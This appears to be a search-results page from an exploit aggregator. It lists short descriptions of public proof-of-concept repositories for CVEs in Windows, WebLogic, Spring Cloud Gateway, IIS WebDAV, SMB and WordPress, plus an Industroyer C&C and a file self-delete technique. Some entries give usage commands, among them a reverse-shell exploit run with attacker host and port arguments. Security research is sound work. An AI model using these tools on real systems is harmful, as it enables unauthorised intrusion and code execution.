12896 matches found
CVE-2019-1064
CVE-2019-1064 CVE-2019-1064 - AppXSVC Local Privilege Escalation Apears that this may not be as fixed as expected. PoC temporarily unavailable...
CVE-2021-26295--
CVE-2021-26295-- CVE-2021-26295-POC 利用DNSlog进行CVE-2021-26295的漏洞验证。 使用 poc：将目标放于target.txt后运行python poc.py即可。（Jdk环境需12，否则ysoserial无法正常生成有效载荷） exp：python exp.py https://baidu.com然后进入命令执行界面（无回显）...
cve-2020-2555
CVE-2020-2555 运行Main.java会在当前目录下生成payload.ser，该payload可以使用t3协议发到目标服务器...
Vectored-Exception-Handling-Squared
Manejo de Excepciones Vectorizadas al Cuadrado Una Prueba de Concepto en Rust. Lee más en mi blog, toda la investigación original es de CrowdStrike, ¡esto es solo el POC de eso! A menos que esté ciego; no parece haber mucho por ahí POCs, etc. relacionado con el descubrimiento realizado por los...
traefik-CVE-2024-45410-poc
Shadow Corp CTF 挑战赛 欢迎参加 Shadow Corp 夺旗赛 CTF 挑战！本次挑战将测试您在识别和利用与安全标头及 HTTP 代理行为相关的漏洞方面的技能。您的任务是绕过保护措施，并揭露隐藏在 Shadow Corp 网络应用程序中的秘密。 故事 您发现了 Shadow Corp 的公共 Web 界面，这是一个以从事秘密网络间谍活动而臭名昭著的组织。有传言称，他们保护了一个只有内部可信人员才能访问的端点。然而，有传闻说，只要使用正确的方法，您可以欺骗系统，让其暴露这个隐藏的端点，从而揭露 Shadow Corp 的秘密。 您的任务：访问受保护的端点并获取隐藏的旗帜！...
-cve-2022-22947-
-cve-2022-22947- cve-2022-22947 spring cloud gateway 批量扫描脚本 usage: python3 springcloudpoc.py ./urls.txt 使用urls.txt储存url信息 url格式：https://xxx.xx.xx/ 每行一个 原脚本参考：https://github.com/lucksec/Spring-Cloud-Gateway-CVE-2022-22947 1.处理了ssl证书不匹配问题 2.处理了部分应用重定向问题 3.优化了输出内容 仅限技术研究与讨论，严禁用于非法用途！...
burpsuite-copy-as-xmlhttprequest
Copy as XMLHttpRequest BurpSuite 扩展 该扩展为BurpSuite添加了一个上下文菜单，允许您将多个请求复制为JavaScript的XmlHttpRequest，从而简化了利用XSS时的PoC开发。 安装 从发行版下载最新的JAR或手动构建 通过标签页将JAR添加到BurpSuite：'扩展器' - '扩展' - '添加' 用法 从任何标签页中选择一个请求，或从'代理' - 'HTTP历史记录'标签页中选择多个请求 调用上下文菜单并选择'复制为XMLHttpRequest'...
burpsuite-copy-as-xmlhttprequest
Copy as XMLHttpRequest BurpSuite extension The extension adds a context menu to BurpSuite that allows you to copy multiple requests as Javascript's XmlHttpRequest, which simplifies PoC development when exploiting XSS. Installation download the latest JAR from releases or build manually add JAR to...
Indushell
Indushell 针对 Industroyer 恶意软件的 PoC C&C 原作者：xpn https://github.com/xpn 演示：https://www.youtube.com/watch?v=3bulqYmPTps 博客文章：https://www.secarma.co.uk/labs/industroyers-command-and-control-protocol...
cve-2020-1948-poc
cve-2020-1948-poc Apache Dubbo反序列化漏洞 install: root@kitploit: pip3 install dubbo-py root@kitploit: python3 cve-2020-1948.py Demo...
CVE-2020-0910
CVE-2020-0910 工作利用PoC CVE-2020-0910 - 反向绑定Shell 使用Python2.7测试 安装： pip install -r requirements.txt 运行： python CVE-2020-0910-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...
CVE-2025-33053-WebDAV-RCE-PoC-and-C2-Concept
CVE-2025-33053 - WebDAV 远程代码执行 RCE PoC 与 C2 模拟 ⚠️ 仅供教育用途 该项目演示了一个利用 WebDAV 和 .url 文件投放实现逼真远程代码执行的概念验证。它包含一个基于诱饵的可执行文件以及一个受控的命令与控制 C2 模拟。未分享任何恶意载荷。 📜 摘要 本仓库包含针对 CVE-2025-33053 的 PoC，该漏洞存在于 Windows 处理指向 WebDAV 共享的 .url 文件的方式中。该 PoC 演示了攻击者如何： 通过 ZIP（Invoice.pdf.zip）投放 .url 快捷方式 触发运行托管在 WebDAV 容器上的载荷...
CVE-2017-7269
EN GenWebDavIISExploit 是一个 PoC 工具，演示针对 IIS6 WebDAV 组件中一个已知漏洞的利用。该工具仅为教育和研究目的而设计，用于展示如何利用该漏洞在远程服务器上执行任意代码。 免责声明 本项目仅供教育目的 使用。请负责任地使用此工具，并且仅在您拥有或获得明确测试许可的系统上使用。未经授权访问计算机系统是非法的。 功能特性 在易受攻击的 IIS6 WebDAV 服务器上执行远程代码。 使用用户指定的反向 IP 和端口动态生成攻击载荷。 易于使用的命令行界面，可快速进行漏洞利用。 前提条件 Python 3.x ：确保您的系统已安装 Python 3。...
CVE-2026-53805
cve-id ⚡ 简单使用 请仅在安全和授权的环境中使用本项目，例如： 本地虚拟机 Docker 容器 隔离的实验室环境 授权的渗透测试环境 示例设置： root@kitploit: git clone cd 项目使用 Python，请按照以下步骤操作 创建虚拟环境 python -m venv venv 激活虚拟环境 macOS / Linux source venv/bin/activate Windows Git Bash / WSL source venv/Scripts/activate 安装依赖 pip install -r requirements.txt 示例用法：...
WP-CVE-2023-32243
WP-CVE-2023-32243 如何使用 1. 确保你已安装依赖： root@kitploit: pip install requests 2. 使用目标列表文件运行脚本： root@kitploit: python2 file.py ⚠️ 免责声明 本仓库的创建仅供安全研究和教育目的所用 。 更多免责声明，你可以在 Jenderal92 的主页上查看。你可以点击这里 !!!...
CVE-2020-6287-exploit
CVE-2020-6287-exploit CVE-2020-6287 的概念验证代码 仅用于添加用户的 Python PoC，未设置管理员权限。灵感来源于 @zeroSteiner 的 Metasploit 模块。原始 Metasploit PR 模块：https://github.com/rapid7/metasploit-framework/pull/13852/commits/d1e2c75b3eafa7f62a6aba9fbe6220c8da97baa8 本 PoC 仅创建具有未认证权限的用户，未设置任何管理员权限。 本项目仅用于教育目的，不得用于违反法律或谋取私利。...
CVE-2020-0796-SMB
CVE-2020-0796-SMB 该资源为CVE-2020-0796漏洞复现，包括Python版本和C++版本。主要是集合了github大神们的资源，希望您喜欢 C++ Python EXP POC 漏洞利用： 本地EXP提权：https://github.com/danigargu/CVE-2020-0796 本地EXE提权: https://github.com/f1tz/CVE-2020-0796-LPE-EXP POC版本提权： https://github.com/eerykitty/CVE-2020-0796-PoC...
delete-self-poc
🗑️ delete-self-poc delete-self-poc 演示了一种从磁盘删除被锁定或当前正在运行的文件的方法。此概念最初由 Jonas Lykkegaard 发现，我为此创建了概念验证（POC）。此外，只要当前调用进程具有访问和删除这些文件的必要权限，它也可以用于删除磁盘上被锁定的文件。 那么这个 POC 是如何工作的呢？ 1. 打开当前运行进程的 HANDLE，并具有 DELETE 访问权限。请注意，仅需要 DELETE 访问权限。 2. 使用 SetFileInformationByHandle 函数将主文件流 :$DATA 重命名为 :wtfbbq。 3. 关闭...